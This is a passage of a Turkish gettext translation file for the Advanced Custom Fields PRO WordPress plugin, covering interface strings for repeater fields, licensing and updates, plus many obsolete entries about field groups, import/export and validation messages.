msgstr "Satır toparlandığında görüntülenecek alt alanı seçin"

#: pro/fields/class-acf-field-repeater.php:187
msgid "Minimum Rows"
msgstr "En az satır"

#: pro/fields/class-acf-field-repeater.php:199
msgid "Maximum Rows"
msgstr "En fazla satır"

#: pro/fields/class-acf-field-repeater.php:228
msgid "Pagination"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:229
msgid "Useful for fields with a large number of rows."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:240
msgid "Rows Per Page"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:241
msgid "Set the number of rows to be displayed on a page."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:945
msgid "Invalid nonce."
msgstr "Geçersiz nonce."

#: pro/fields/class-acf-field-repeater.php:959
msgid "Invalid field key."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:968
msgid "There was an error retrieving the field."
msgstr ""

#: pro/fields/class-acf-repeater-table.php:389
msgid "Add row"
msgstr "Satır ekle"

#: pro/fields/class-acf-repeater-table.php:390
msgid "Duplicate row"
msgstr "Satırı çoğalt"

#: pro/fields/class-acf-repeater-table.php:391
msgid "Remove row"
msgstr "Satır çıkar"

#: pro/fields/class-acf-repeater-table.php:435,
#: pro/fields/class-acf-repeater-table.php:452
msgid "Current Page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:444
msgid "First page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:448
msgid "Previous page"
msgstr ""

#. translators: 1: Current page, 2: Total pages.
#: pro/fields/class-acf-repeater-table.php:457
msgctxt "paging"
msgid "%1$s of %2$s"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:465
msgid "Next page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:469
msgid "Last page"
msgstr ""

#: pro/locations/class-acf-location-block.php:71
msgid "No block types exist"
msgstr "Hiç blok tipi yok"

#: pro/locations/class-acf-location-options-page.php:22
msgid "Options Page"
msgstr "Seçenekler sayfası"

#: pro/locations/class-acf-location-options-page.php:70
msgid "No options pages exist"
msgstr "Seçenekler sayfayı mevcut değil"

#: pro/admin/views/html-settings-updates.php:6
msgid "Deactivate License"
msgstr "Lisansı devre dışı bırak"

#: pro/admin/views/html-settings-updates.php:6
msgid "Activate License"
msgstr "Lisansı etkinleştir"

#: pro/admin/views/html-settings-updates.php:16
msgid "License Information"
msgstr "Lisans bilgisi"

#: pro/admin/views/html-settings-updates.php:34
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see <a href=\"%s\" target=\"_blank\">details & pricing</"
"a>."
msgstr ""
"Güncellemeleri açmak için lisans anahtarınızı aşağıya girin. Eğer bir lisans "
"anahtarınız yoksa lütfen <a href=\"%s\" target=“_blank”>detaylar ve "
"fiyatlama</a> sayfasına bakın."

#: pro/admin/views/html-settings-updates.php:41
msgid "License Key"
msgstr "Lisans anahtarı"

#: pro/admin/views/html-settings-updates.php:22
msgid "Your license key is defined in wp-config.php."
msgstr "Lisans anahtarınız wp-config.php içinde tanımlanmış."

#: pro/admin/views/html-settings-updates.php:29
msgid "Retry Activation"
msgstr "Etkinleştirmeyi yeniden dene"

#: pro/admin/views/html-settings-updates.php:76
msgid "Update Information"
msgstr "Güncelleme bilgisi"

#: pro/admin/views/html-settings-updates.php:83
msgid "Current Version"
msgstr "Mevcut sürüm"

#: pro/admin/views/html-settings-updates.php:91
msgid "Latest Version"
msgstr "En son sürüm"

#: pro/admin/views/html-settings-updates.php:99
msgid "Update Available"
msgstr "Güncelleme mevcut"

#: pro/admin/views/html-settings-updates.php:116
msgid "No"
msgstr "Hayır"

#: pro/admin/views/html-settings-updates.php:104
msgid "Yes"
msgstr "Evet"

#: pro/admin/views/html-settings-updates.php:111
msgid "Please enter your license key above to unlock updates"
msgstr ""
"Güncelleştirmelerin kilidini açmak için yukardaki alana lisans anahtarını "
"girin"

#: pro/admin/views/html-settings-updates.php:109
msgid "Update Plugin"
msgstr "Eklentiyi güncelle"

#: pro/admin/views/html-settings-updates.php:107
msgid "Please reactivate your license to unlock updates"
msgstr ""
"Güncellemelerin kilidini açmak için lütfen lisansınızı yeniden etkinleştirin"

#: pro/admin/views/html-settings-updates.php:124
msgid "Changelog"
msgstr "Değişiklik kayıtları"

#: pro/admin/views/html-settings-updates.php:134
msgid "Upgrade Notice"
msgstr "Yükseltme bildirimi"

#~ msgid "Advanced Custom Fields"
#~ msgstr "Advanced Custom Fields"

#~ msgid "Field Groups"
#~ msgstr "Alan grupları"

#~ msgid "Field Group"
#~ msgstr "Alan grubu"

#~ msgid "Add New Field Group"
#~ msgstr "Yeni alan grubu ekle"

#~ msgid "Edit Field Group"
#~ msgstr "Alan grubunu düzenle"

#~ msgid "New Field Group"
#~ msgstr "Yeni alan grubu"

#~ msgid "View Field Group"
#~ msgstr "Alan grubunu görüntüle"

#~ msgid "Search Field Groups"
#~ msgstr "Alan gruplarında ara"

#~ msgid "No Field Groups found"
#~ msgstr "Hiç alan grubu bulunamadı"

#~ msgid "No Field Groups found in Trash"
#~ msgstr "Çöpte alan grubu bulunamadı"

#~ msgid "Field"
#~ msgstr "Alan"

#~ msgid "Add New Field"
#~ msgstr "Yeni elan ekle"

#~ msgid "Edit Field"
#~ msgstr "Alanı düzenle"

#~ msgid "New Field"
#~ msgstr "Yeni alan"

#~ msgid "View Field"
#~ msgstr "Alanı görüntüle"

#~ msgid "Search Fields"
#~ msgstr "Alanlarda ara"

#~ msgid "No Fields found"
#~ msgstr "Hiç alan bulunamadı"

#~ msgid "No Fields found in Trash"
#~ msgstr "Çöpte alan bulunamadı"

#~ msgctxt "post status"
#~ msgid "Inactive"
#~ msgstr "Etkin değil"

#, php-format
#~ msgid "Inactive <span class=\"count\">(%s)</span>"
#~ msgid_plural "Inactive <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Etkin olmayan <span class=“count”>(%s)</span>"
#~ msgstr[1] "Etkin olmayan <span class=“count”>(%s)</span>"

#~ msgid ""
#~ "Advanced Custom Fields and Advanced Custom Fields PRO should not be "
#~ "active at the same time. We've automatically deactivated Advanced Custom "
#~ "Fields."
#~ msgstr ""
#~ "Advanced Custom Fields ve Advanced Custom Fields PRO aynı anda etkin "
#~ "olmamalıdır. Advanced Custom Fields eklentisini otomatik olarak devre "
#~ "dışı bıraktık."

#~ msgid ""
#~ "Advanced Custom Fields and Advanced Custom Fields PRO should not be "
#~ "active at the same time. We've automatically deactivated Advanced Custom "
#~ "Fields PRO."
#~ msgstr ""
#~ "Advanced Custom Fields ve Advanced Custom Fields PRO aynı anda etkin "
#~ "olmamalıdır. Advanced Custom Fields PRO eklentisini otomatik olarak devre "
#~ "dışı bıraktık."

#~ msgid "(no label)"
#~ msgstr "(etiket yok)"

#~ msgid "copy"
#~ msgstr "kopyala"

#, php-format
#~ msgid ""
#~ "<strong>%1$s</strong> - We've detected one or more calls to retrieve ACF "
#~ "field values before ACF has been initialized. This is not supported and "
#~ "can result in malformed or missing data. <a href=\"%2$s\" target=\"_blank"
#~ "\">Learn how to fix this</a>."
#~ msgstr ""
#~ "<strong>%1$s</strong> - ACF başlatılmadan önce ACF alan değerlerini almak "
#~ "için bir veya daha fazla çağrı algıladık. Bu desteklenmemektedir ve "
#~ "hatalı biçimlendirilmiş veya eksik verilere neden olabilir. <a href=\"%2$s"
#~ "\" target=\"_blank\">Bunu nasıl düzelteceğinizi öğrenin</a>."

#~ msgid "Posts"
#~ msgstr "Yazılar"

#~ msgid "Taxonomies"
#~ msgstr "Taksonomiler"

#~ msgid "Attachments"
#~ msgstr "Ekler"

#~ msgid "Comments"
#~ msgstr "Yorumlar"

#~ msgid "Widgets"
#~ msgstr "Bileşenler"

#~ msgid "Menus"
#~ msgstr "Menüler"

#~ msgid "Menu items"
#~ msgstr "Menü ögeleri"

#~ msgid "Users"
#~ msgstr "Kullanıcılar"

#~ msgid "Blocks"
#~ msgstr "Bloklar"

#~ msgid "Field group updated."
#~ msgstr "Alan grubu güncellendi."

#~ msgid "Field group deleted."
#~ msgstr "Alan grubu silindi."

#~ msgid "Field group published."
#~ msgstr "Alan grubu yayımlandı."

#~ msgid "Field group saved."
#~ msgstr "Alan grubu kaydedildi."

#~ msgid "Field group submitted."
#~ msgstr "Alan grubu gönderildi."

#~ msgid "Field group scheduled for."
#~ msgstr "Alan grubu zamanlandı."

#~ msgid "Field group draft updated."
#~ msgstr "Alan grubu taslağı güncellendi."

#~ msgid "The string \"field_\" may not be used at the start of a field name"
#~ msgstr "Artık alan isimlerinin başlangıcında “field_” kullanılmayacak"

#~ msgid "This field cannot be moved until its changes have been saved"
#~ msgstr "Bu alan, üzerinde yapılan değişiklikler kaydedilene kadar taşınamaz"

#~ msgid "Field group title is required"
#~ msgstr "Alan grubu başlığı gerekli"

#~ msgid "Move to trash. Are you sure?"
#~ msgstr "Çöpe taşımak istediğinizden emin misiniz?"

#~ msgid "No toggle fields available"
#~ msgstr "Kullanılabilir aç-kapa alan yok"

#~ msgid "Move Custom Field"
#~ msgstr "Özel alanı taşı"

#~ msgid "Checked"
#~ msgstr "İşaretlendi"

#~ msgid "(this field)"
#~ msgstr "(bu alan)"

#~ msgid "or"
#~ msgstr "veya"

#~ msgid "Show this field group if"
#~ msgstr "Bu alan grubunu şu koşulda göster"

#~ msgid "Null"
#~ msgstr "Boş"

#~ msgid "Has any value"
#~ msgstr "Herhangi bir değer"

#~ msgid "Has no value"
#~ msgstr "Hiçbir değer"

#~ msgid "Value is equal to"
#~ msgstr "Değer eşitse"

#~ msgid "Value is not equal to"
#~ msgstr "Değer eşit değilse"

#~ msgid "Value matches pattern"
#~ msgstr "Değer bir desenle eşleşir"

#~ msgid "Value contains"
#~ msgstr "Değer içeriyor"

#~ msgid "Value is greater than"
#~ msgstr "Değer daha büyük"

#~ msgid "Value is less than"
#~ msgstr "Değer daha az"

#~ msgid "Selection is greater than"
#~ msgstr "Seçin daha büyük"

#~ msgid "Selection is less than"
#~ msgstr "Seçim daha az"

#~ msgid "Repeater (Pro only)"
#~ msgstr "Yineleyici (Yalnızca pro)"

#~ msgid "Flexible Content (Pro only)"
#~ msgstr "Esnek i̇çerik (yalnızca pro)"

#~ msgid "Clone (Pro only)"
#~ msgstr "Çoğalt (Yalnızca pro)"

#~ msgid "Gallery (Pro only)"
#~ msgstr "Galeri (Yalnızca pro)"

#~ msgid "Location"
#~ msgstr "Konum"

#~ msgid "Settings"
#~ msgstr "Ayarlar"

#~ msgid "Field Keys"
#~ msgstr "Alan anahtarları"

#~ msgctxt "post status"
#~ msgid "Active"
#~ msgstr "Etkin"

#~ msgid "Move Complete."
#~ msgstr "Taşıma tamamlandı."

#, php-format
#~ msgid "The %1$s field can now be found in the %2$s field group"
#~ msgstr "%1$s alanı artık %2$s alan grubu altında bulunabilir"

#~ msgid "Close Window"
#~ msgstr "Pencereyi kapat"

#~ msgid "Please select the destination for this field"
#~ msgstr "Lütfen bu alan için bir hedef seçin"

#~ msgid "Move Field"
#~ msgstr "Alanı taşı"

#, php-format
#~ msgid "Active <span class=\"count\">(%s)</span>"
#~ msgid_plural "Active <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Etkin <span class=\"count\">(%s)</span>"
#~ msgstr[1] "Etkin <span class=\"count\">(%s)</span>"

#~ msgid "Review local JSON changes"
#~ msgstr "Yerel JSON değişikliklerini incele"

#~ msgid "Loading diff"
#~ msgstr "Fark yükleniyor"

#~ msgid "Sync changes"
#~ msgstr "Değişiklikleri eşitle"

#~ msgid "Key"
#~ msgstr "Anahtar"

#~ msgid "Local JSON"
#~ msgstr "Yerel JSON"

#~ msgid "Various"
#~ msgstr "Çeşitli"

#, php-format
#~ msgid "Located in theme: %s"
#~ msgstr "Tema içinde konumlu: %s"

#, php-format
#~ msgid "Located in plugin: %s"
#~ msgstr "Eklenti içinde konumlu: %s"

#, php-format
#~ msgid "Located in: %s"
#~ msgstr "Konumu: %s"

#~ msgid "Sync available"
#~ msgstr "Eşitleme mevcut"

#~ msgid "Sync"
#~ msgstr "Eşitle"

#~ msgid "Review changes"
#~ msgstr "Değişiklikleri incele"

#~ msgid "Import"
#~ msgstr "İçe aktar"

#~ msgid "Saved"
#~ msgstr "Kaydedildi"

#~ msgid "Awaiting save"
#~ msgstr "Kayıt edilmeyi bekliyor"

#~ msgid "Duplicate this item"
#~ msgstr "Bu ögeyi çoğalt"

#~ msgid "Activate this item"
#~ msgstr "Bu öğeyi etkinleştir"

#~ msgid "Activate"
#~ msgstr "Etkinleştir"

#~ msgid "Deactivate this item"
#~ msgstr "Bu öğeyi devre dışı bırak"

#~ msgid "Deactivate"
#~ msgstr "Devre dışı bırak"

#, php-format
#~ msgid "Field group activated."
#~ msgid_plural "%s field groups activated."
#~ msgstr[0] "Alan grubu kaydedildi."
#~ msgstr[1] "%s alan grubu kaydedildi."

#, php-format
#~ msgid "Field group deactivated."
#~ msgid_plural "%s field groups deactivated."
#~ msgstr[0] "Alan grubu silindi."
#~ msgstr[1] "%s alan grubu silindi."

#, php-format
#~ msgid "Field group duplicated."
#~ msgid_plural "%s field groups duplicated."
#~ msgstr[0] "Alan grubu çoğaltıldı."
#~ msgstr[1] "%s alan grubu çoğaltıldı."

#, php-format
#~ msgid "Field group synchronised."
#~ msgid_plural "%s field groups synchronised."
#~ msgstr[0] "Alan grubu eşitlendi."
#~ msgstr[1] "%s alan grubu eşitlendi."

#, php-format
#~ msgid "Select %s"
#~ msgstr "Seç %s"

#~ msgid "Tools"
#~ msgstr "Araçlar"

#~ msgid "Upgrade Database"
#~ msgstr "Veritabanını güncelle"

#~ msgid "Review sites & upgrade"
#~ msgstr "Siteleri incele ve güncelle"

#~ msgid "Custom Fields"
#~ msgstr "Özel alanlar"

#~ msgid "Overview"
#~ msgstr "Genel bakış"

#~ msgid ""
#~ "The Advanced Custom Fields plugin provides a visual form builder to "
#~ "customize WordPress edit screens with extra fields, and an intuitive API "
#~ "to display custom field values in any theme template file."
#~ msgstr ""
#~ "The Advanced Custom Fields eklentisi bir görsel form oluşturucu ile "
#~ "WordPress düzenleme ekranlarını ek alanlarla özelleştirme imkanı "
#~ "sağlıyor, ve sezgisel API ile her türlü tema şablon dosyasında bu özel "
#~ "alanlar gösterilebiliyor."

#, php-format
#~ msgid ""
#~ "Before creating your first Field Group, we recommend first reading our <a "
#~ "href=\"%s\" target=\"_blank\">Getting started</a> guide to familiarize "
#~ "yourself with the plugin's philosophy and best practises."
#~ msgstr ""
#~ "İlk alan grubunuzu oluşturmadan önce <a href=\"%s\" target=\"_blank"
#~ "\">Başlarken</a> rehberimize okumanızı öneririz, bu sayede eklentinin "
#~ "filozofisini daha iyi anlayabilir ve en iyi çözümleri öğrenebilirsiniz."

#~ msgid ""
#~ "Please use the Help & Support tab to get in touch should you find "
#~ "yourself requiring assistance."
#~ msgstr ""
#~ "İşin içinden çıkamadığınızda lütfen Yardım ve destek sekmesinden irtibata "
#~ "geçin."

#~ msgid "Help & Support"
#~ msgstr "Yardım ve destek"

#~ msgid ""
#~ "We are fanatical about support, and want you to get the best out of your "
#~ "website with ACF. If you run into any difficulties, there are several "
#~ "places you can find help:"
#~ msgstr ""
#~ "Destek konusunu çok ciddiye alıyoruz ve size ACF ile sitenizde en iyi "
#~ "çözümlere ulaşmanızı istiyoruz. Eğer bir sorunla karşılaşırsanız yardım "
#~ "alabileceğiniz bir kaç yer var:"

#, php-format
#~ msgid ""
#~ "<a href=\"%s\" target=\"_blank\">Documentation</a>. Our extensive "
#~ "documentation contains references and guides for most situations you may "
#~ "encounter."
#~ msgstr ""
#~ "<a href=\"%s\" target=\"_blank\">Belgeler</a>. Karşınıza çıkabilecek bir "
#~ "çok konu hakkında geniş içerikli belgelerimize baş vurabilirsiniz."

#, php-format
#~ msgid ""
#~ "<a href=\"%s\" target=\"_blank\">Discussions</a>. We have an active and "
#~ "friendly community on our Community Forums who may be able to help you "
#~ "figure out the ‘how-tos’ of the ACF world."
#~ msgstr ""
#~ "<a href=\"%s\" target=\"_blank\">Tartışmalar</a>. Topluluk forumlarımızda "
#~ "etkin ve dost canlısı bir topluluğumuz var, sizi ACF dünyasının 'nasıl "
#~ "yaparım'ları ile ilgili yardımcı olabilirler."

#, php-format
#~ msgid ""
#~ "<a href=\"%s\" target=\"_blank\">Help Desk</a>. The support professionals "
#~ "on our Help Desk will assist with your more in depth, technical "
#~ "challenges."
#~ msgstr ""
#~ "<a href=\"%s\" target=\"_blank\">Yardım masası</a>. Yardım masamızdaki "
#~ "profesyonel destek çalışanlarımızı daha derin, teknik sorunların "
#~ "üstesinden gelmenize yardımcı olabilirler."

#~ msgid "Information"
#~ msgstr "Bilgi"

#, php-format
#~ msgid "Version %s"
#~ msgstr "Sürüm %s"

#~ msgid "View details"
#~ msgstr "Ayrıntıları görüntüle"

#~ msgid "Visit website"
#~ msgstr "Web sitesini ziyaret et"

#~ msgid "and"
#~ msgstr "ve"

#~ msgid "Export Field Groups"
#~ msgstr "Alan gruplarını dışarı aktar"

#~ msgid "Generate PHP"
#~ msgstr "PHP oluştur"

#~ msgid "No field groups selected"
#~ msgstr "Hiç alan grubu seçilmemiş"

#, php-format
#~ msgid "Exported 1 field group."
#~ msgid_plural "Exported %s field groups."
#~ msgstr[0] "1 alan grubu içeri aktarıldı."
#~ msgstr[1] "%s alan grubu içeri aktarıldı."

#~ msgid "Select Field Groups"
#~ msgstr "Alan gruplarını seç"

#~ msgid ""
#~ "Select the field groups you would like to export and then select your "
#~ "export method. Use the download button to export to a .json file which "
#~ "you can then import to another ACF installation. Use the generate button "
#~ "to export to PHP code which you can place in your theme."
#~ msgstr ""
#~ "Dışa aktarma ve sonra dışa aktarma yöntemini seçtikten sonra alan "
#~ "gruplarını seçin. Sonra başka bir ACF yükleme içe bir .json dosyaya "
#~ "vermek için indirme düğmesini kullanın. Tema yerleştirebilirsiniz PHP "
#~ "kodu aktarma düğmesini kullanın."

#~ msgid "Export File"
#~ msgstr "Dışarı aktarım dosyası"

#~ msgid ""
#~ "The following code can be used to register a local version of the "
#~ "selected field group(s). A local field group can provide many benefits "
#~ "such as faster load times, version control & dynamic fields/settings. "
#~ "Simply copy and paste the following code to your theme's functions.php "
#~ "file or include it within an external file."
#~ msgstr ""
#~ "Aşağıdaki kod seçilmiş alan grubu/grupları için yerel bir sürüm kaydetmek "
#~ "için kullanılır. Yerel alan grubu daha hızlı yüklenme süreleri, sürüm "
#~ "yönetimi ve dinamik alanlar/ayarlar gibi faydalar sağlar. Yapmanız "
#~ "gereken bu kodu kopyalayıp temanızın functions.php dosyasına eklemek ya "
#~ "da harici bir dosya olarak temanıza dahil etmek."

#~ msgid "Copy to clipboard"
#~ msgstr "Panoya kopyala"

#~ msgid "Copied"
#~ msgstr "Kopyalandı"

#~ msgid "Import Field Groups"
#~ msgstr "Alan gruplarını içeri aktar"

#~ msgid ""
#~ "Select the Advanced Custom Fields JSON file you would like to import. "
#~ "When you click the import button below, ACF will import the field groups."
#~ msgstr ""
#~ "İçeri aktarmak istediğiniz Advanced Custom Fields JSON dosyasını seçin. "
#~ "Aşağıdaki içeri aktar tuşuna bastığınızda ACF alan gruplarını içeri "
#~ "aktaracak."

#~ msgid "Select File"
#~ msgstr "Dosya seç"

#~ msgid "Import File"
#~ msgstr "Dosyayı içeri aktar"

#~ msgid "No file selected"
#~ msgstr "Dosya seçilmedi"

#~ msgid "Error uploading file. Please try again"
#~ msgstr "Dosya yüklenirken hata oluştu. Lütfen tekrar deneyin"

#~ msgid "Incorrect file type"
#~ msgstr "Geçersiz dosya tipi"

#~ msgid "Import file empty"
#~ msgstr "İçe aktarılan dosya boş"

#, php-format
#~ msgid "Imported 1 field group"
#~ msgid_plural "Imported %s field groups"
#~ msgstr[0] "1 alan grubu içeri aktarıldı"
#~ msgstr[1] "%s alan grubu içeri aktarıldı"

#~ msgid "Conditional Logic"
#~ msgstr "Koşullu mantık"

#~ msgid "Show this field if"
#~ msgstr "Alanı bu şart gerçekleşirse göster"

#~ msgid "Add rule group"
#~ msgstr "Kural grubu ekle"

#~ msgid "Edit field"
#~ msgstr "Alanı düzenle"

#~ msgid "Duplicate field"
#~ msgstr "Alanı çoğalt"

#~ msgid "Move field to another group"
#~ msgstr "Alanı başka gruba taşı"

#~ msgid "Move"
#~ msgstr "Taşı"

#~ msgid "Delete field"
#~ msgstr "Alanı sil"

#~ msgid "Field Label"
#~ msgstr "Alan etiketi"

#~ msgid "This is the name which will appear on the EDIT page"
#~ msgstr "Bu isim DÜZENLEME sayfasında görüntülenecek isimdir"

#~ msgid "Field Name"
#~ msgstr "Alan adı"

#~ msgid "Single word, no spaces. Underscores and dashes allowed"
#~ msgstr "Tek kelime, boşluksuz. Alt çizgi ve tireye izin var"

#~ msgid "Field Type"
#~ msgstr "Alan tipi"

#~ msgid "Instructions"
#~ msgstr "Yönergeler"

#~ msgid "Instructions for authors. Shown when submitting data"
#~ msgstr "Yazarlara gösterilecek talimatlar. Veri gönderirken gösterilir"

#~ msgid "Required?"
#~ msgstr "Gerekli mi?"

#~ msgid "Wrapper Attributes"
#~ msgstr "Kapsayıcı öznitelikleri"

#~ msgid "width"
#~ msgstr "genişlik"

#~ msgid "class"
#~ msgstr "sınıf"

#~ msgid "id"
#~ msgstr "id"

#~ msgid "Close Field"
#~ msgstr "Alanı kapat"

#~ msgid "Order"
#~ msgstr "Sırala"

#~ msgid "Type"
#~ msgstr "Tip"

#~ msgid ""
#~ "No fields. Click the <strong>+ Add Field</strong> button to create your "
#~ "first field."
#~ msgstr ""
#~ "Hiç alan yok. İlk alanınızı oluşturmak için <strong>+ Alan ekle</strong> "
#~ "düğmesine tıklayın."

#~ msgid "+ Add Field"
#~ msgstr "+ Alan ekle"

#~ msgid "Rules"
#~ msgstr "Kurallar"

#~ msgid ""
#~ "Create a set of rules to determine which edit screens will use these "
#~ "advanced custom fields"
#~ msgstr ""
#~ "Bu gelişmiş özel alanları hangi düzenleme ekranlarının kullanacağını "
#~ "belirlemek için bir kural seti oluşturun"

#~ msgid "Active"
#~ msgstr "Etkin"

#~ msgid "Show in REST API"
#~ msgstr "REST API'da göster"

#~ msgid "Style"
#~ msgstr "Stil"

#~ msgid "Standard (WP metabox)"
#~ msgstr "Standart (WP metabox)"

#~ msgid "Seamless (no metabox)"
#~ msgstr "Pürüzsüz (metabox yok)"

#~ msgid "Position"
#~ msgstr "Pozisyon"

#~ msgid "High (after title)"
#~ msgstr "Yüksek (başlıktan sonra)"

#~ msgid "Normal (after content)"
#~ msgstr "Normal (içerikten sonra)"

#~ msgid "Side"
#~ msgstr "Yan"

#~ msgid "Label placement"
#~ msgstr "Etiket yerleştirme"

#~ msgid "Top aligned"
#~ msgstr "Üste hizalı"

#~ msgid "Left aligned"
#~ msgstr "Sola hizalı"

#~ msgid "Instruction placement"
#~ msgstr "Yönerge yerleştirme"

#~ msgid "Below labels"
#~ msgstr "Etiketlerin altında"

#~ msgid "Below fields"
#~ msgstr "Alanlarının altında"

#~ msgid "Order No."
#~ msgstr "Sıra no."

#~ msgid "Field groups with a lower order will appear first"
#~ msgstr "Daha düşük sıralamaya sahip alan grupları daha önce görünür"

#~ msgid "Shown in field group list"
#~ msgstr "Alan grubu listesinde görüntülenir"

#~ msgid "Permalink"
#~ msgstr "Kalıcı bağlantı"

#~ msgid "Content Editor"
#~ msgstr "İçerik düzenleyici"

#~ msgid "Excerpt"
#~ msgstr "Özet"

#~ msgid "Discussion"
#~ msgstr "Tartışma"

#~ msgid "Revisions"
#~ msgstr "Sürümler"

#~ msgid "Slug"
#~ msgstr "Kısa isim"

#~ msgid "Author"
#~ msgstr "Yazar"

#~ msgid "Format"
#~ msgstr "Biçim"

#~ msgid "Page Attributes"
#~ msgstr "Sayfa öznitelikleri"

#~ msgid "Featured Image"
#~ msgstr "Öne çıkarılmış görsel"

#~ msgid "Categories"
#~ msgstr "Kategoriler"

#~ msgid "Tags"
#~ msgstr "Etiketler"

#~ msgid "Send Trackbacks"
#~ msgstr "Geri izlemeleri gönder"

#~ msgid "Hide on screen"
#~ msgstr "Ekranda gizle"

#~ msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
#~ msgstr ""
#~ "Düzenleme ekranından <b>gizlemek</b> istediğiniz ögeleri <b>seçin</b>."

#~ msgid ""
#~ "If multiple field groups appear on an edit screen, the first field "
#~ "group's options will be used (the one with the lowest order number)"
#~ msgstr ""
#~ "Eğer düzenleme ekranında birden çok alan grubu ortaya çıkarsa, ilk alan "
#~ "grubunun seçenekleri kullanılır (en düşük sıralama numarasına sahip olan)"

#~ msgid "Upgrade to Pro"
#~ msgstr "Pro sürüme yükselt"

#, php-format
#~ msgid ""
#~ "The following sites require a DB upgrade. Check the ones you want to "
#~ "update and then click %s."
#~ msgstr ""
#~ "Şu siteler için VT güncellemesi gerekiyor. Güncellemek istediklerinizi "
#~ "işaretleyin ve %s tuşuna basın."

#~ msgid "Upgrade Sites"
#~ msgstr "Siteleri yükselt"

#~ msgid "Site"
#~ msgstr "Site"

#, php-format
#~ msgid "Site requires database upgrade from %1$s to %2$s"
#~ msgstr ""
#~ "Site için %1$s sürümünden %2$s sürümüne veritabanı güncellemesi gerekiyor"

#~ msgid "Site is up to date"
#~ msgstr "Site güncel"

#, php-format
#~ msgid ""
#~ "Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
#~ msgstr ""
#~ "Veritabanı güncellemesi tamamlandı. <a href=\"%s\">Ağ panosuna geri dön</"
#~ "a>"

#~ msgid "Please select at least one site to upgrade."
#~ msgstr "Lütfen yükseltmek için en az site seçin."

#~ msgid ""
#~ "It is strongly recommended that you backup your database before "
#~ "proceeding. Are you sure you wish to run the updater now?"
#~ msgstr ""
#~ "Devam etmeden önce veritabanınızı yedeklemeniz önemle önerilir. "
#~ "Güncelleştiriciyi şimdi çalıştırmak istediğinizden emin misiniz?"

#, php-format
#~ msgid "Upgrading data to version %s"
#~ msgstr "Veri %s sürümüne yükseltiliyor"

#~ msgid "Upgrade complete."
#~ msgstr "Yükseltme başarılı."

#~ msgid "Upgrade failed."
#~ msgstr "Yükseltme başarısız oldu."

#~ msgid "Reading upgrade tasks..."
#~ msgstr "Yükseltme görevlerini okuyor..."

#, php-format
#~ msgid "Database upgrade complete. <a href=\"%s\">See what's new</a>"
#~ msgstr ""
#~ "Veritabanı güncellemesi tamamlandı. <a href=\"%s\">Neler yeni bir göz "
#~ "atın</a>"

#~ msgid "No updates available."
#~ msgstr "Güncelleme yok."

#~ msgid "Back to all tools"
#~ msgstr "Tüm araçlara geri dön"

#~ msgid "Database Upgrade Required"
#~ msgstr "Veritabanı yükseltmesi gerekiyor"

#, php-format
#~ msgid "Thank you for updating to %1$s v%2$s!"
#~ msgstr "%1$s v%2$s sürümüne güncellediğiniz için teşekkür ederiz!"

#~ msgid ""
#~ "This version contains improvements to your database and requires an "
#~ "upgrade."
#~ msgstr ""
#~ "Bu sürüm veritabanınız için iyileştirmeler içeriyor ve yükseltme "
#~ "gerektiriyor."

#, php-format
#~ msgid ""
#~ "Please also check all premium add-ons (%s) are updated to the latest "
#~ "version."
#~ msgstr ""
#~ "Lütfen ayrıca premium eklentilerin de (%s) en üst sürüme "
#~ "güncellendiğinden emin olun."

#~ msgid "Invalid field group parameter(s)."
#~ msgstr "Geçersiz alan grubu parametresi/leri."

#~ msgid "Invalid field group ID."
#~ msgstr "Geçersiz alan grup no."

#~ msgid "Sorry, this field group is unavailable for diff comparison."
#~ msgstr "Üzgünüz, bu alan grubu fark karşılaştırma için uygun değil."

#, php-format
#~ msgid "Last updated: %s"
#~ msgstr "Son güncellenme: %s"

#~ msgid "Original field group"
#~ msgstr "Orijinal alan grubu"

#~ msgid "JSON field group (newer)"
#~ msgstr "JSON alan grubu (daha yeni)"

#~ msgid "Thumbnail"
#~ msgstr "Küçük görsel"

#~ msgid "Medium"
#~ msgstr "Orta"

#~ msgid "Large"
#~ msgstr "Büyük"

#~ msgid "Full Size"
#~ msgstr "Tam boyut"

#, php-format
#~ msgid "Image width must be at least %dpx."
#~ msgstr "Görsel genişliği en az %dpx olmalı."

#, php-format
#~ msgid "Image width must not exceed %dpx."
#~ msgstr "Görsel genişliği %dpx değerini geçmemeli."

#, php-format
#~ msgid "Image height must be at least %dpx."
#~ msgstr "Görsel yüksekliği en az %dpx olmalı."

#, php-format
#~ msgid "Image height must not exceed %dpx."
#~ msgstr "Görsel yüksekliği %dpx değerini geçmemeli."

#, php-format
#~ msgid "File size must be at least %s."
#~ msgstr "Dosya boyutu en az %s olmalı."

#, php-format
#~ msgid "File size must not exceed %s."
#~ msgstr "Dosya boyutu %s boyutunu geçmemeli."

#, php-format
#~ msgid "File type must be %s."
#~ msgstr "Dosya tipi %s olmalı."

#~ msgid "Are you sure?"
#~ msgstr "Emin misiniz?"

#~ msgid "Cancel"
#~ msgstr "İptal"

#~ msgid ""
#~ "The changes you made will be lost if you navigate away from this page"
#~ msgstr ""
#~ "Bu sayfadan başka bir sayfaya geçerseniz yaptığınız değişiklikler "
#~ "kaybolacak"

#~ msgid "Validation successful"
#~ msgstr "Doğrulama başarılı"

#~ msgid "Validation failed"
#~ msgstr "Doğrulama başarısız"

#~ msgid "1 field requires attention"
#~ msgstr "1 alan dikkatinizi gerektiriyor"

#, php-format
#~ msgid "%d fields require attention"
#~ msgstr "%d alan dikkatinizi gerektiriyor"

#~ msgid "Field type does not exist"
#~ msgstr "Var olmayan alan tipi"

#~ msgid "Unknown"
#~ msgstr "Bilinmiyor"

#~ msgid "Basic"
#~ msgstr "Basit"

#~ msgid "Content"
#~ msgstr "İçerik"

#~ msgid "Choice"
#~ msgstr "Seçim"

#~ msgid "Relational"
#~ msgstr "İlişkisel"

#~ msgid "jQuery"
#~ msgstr "jQuery"

#~ msgid "Accordion"
